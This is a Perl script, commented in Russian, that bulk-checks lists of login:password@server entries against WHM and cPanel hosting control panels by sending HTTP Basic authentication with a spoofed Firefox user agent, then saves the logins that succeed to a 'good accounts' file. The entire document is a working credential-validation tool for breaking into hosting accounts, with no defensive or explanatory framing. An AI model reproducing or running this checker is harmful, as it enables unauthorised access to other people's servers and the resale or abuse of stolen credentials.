#!/usr/bin/perl use IO::Socket; use MIME::Base64; my @acc : shared; my $i : shared; $accounts = 'accs.txt'; #Файл с акками $good = 'good.txt'; #Файл с прочеканными гуд акками $port = '2086'; #WHM - 2086, Cpanel - 2082 $timeout = '5'; #Таймаут open (ACS, "<$accounts"); @acc = acc(); while(@acc) { {lock(@acc);$acc = shift @acc;} my ($logpass, $server) = split(/@/, $acc); my ($login, $pass) = split(/:/, $logpass); $lp = $login.":".$pass; $nn = "\r\n"; $auth = MIME::Base64::encode($lp); my $sock = new IO::Socket::INET ( PeerAddr => $server, PeerPort => $port, PeerProto => 'tcp', TimeOut => $timeout ); if(!$sock){ print "$server - [TIMEOUT]\n" }else{ my $re = "GET / HTTP/1.1".$nn. "Host: ".$server.$nn. "User-Agent: Mozilla/5.0 (Windows; U; Windows NT 5.1; ru-RU; rv:1.7.12) Gecko/20050919 Firefox/1.0.7".$nn. "Pragma: no-cache".$nn. "Cache-Control: no-cache".$nn. "Authorization: Basic ".$auth.$nn. "Connection: Keep-Alive".$nn.$nn; print $sock $re; sysread ($sock, my $answ, 400); close $sock; if ($answ =~ /200/){ print "$server - [OK]\n"; open(FILE, ">>$good"); print FILE "$acc\n"; close(FILE); }else{ print "$server - [BAD]\n"; } {lock($i);$i++;} } } sub acc { my (@mas); while (<ACS>){ push @mas, $_; } chomp @mas; return @mas; }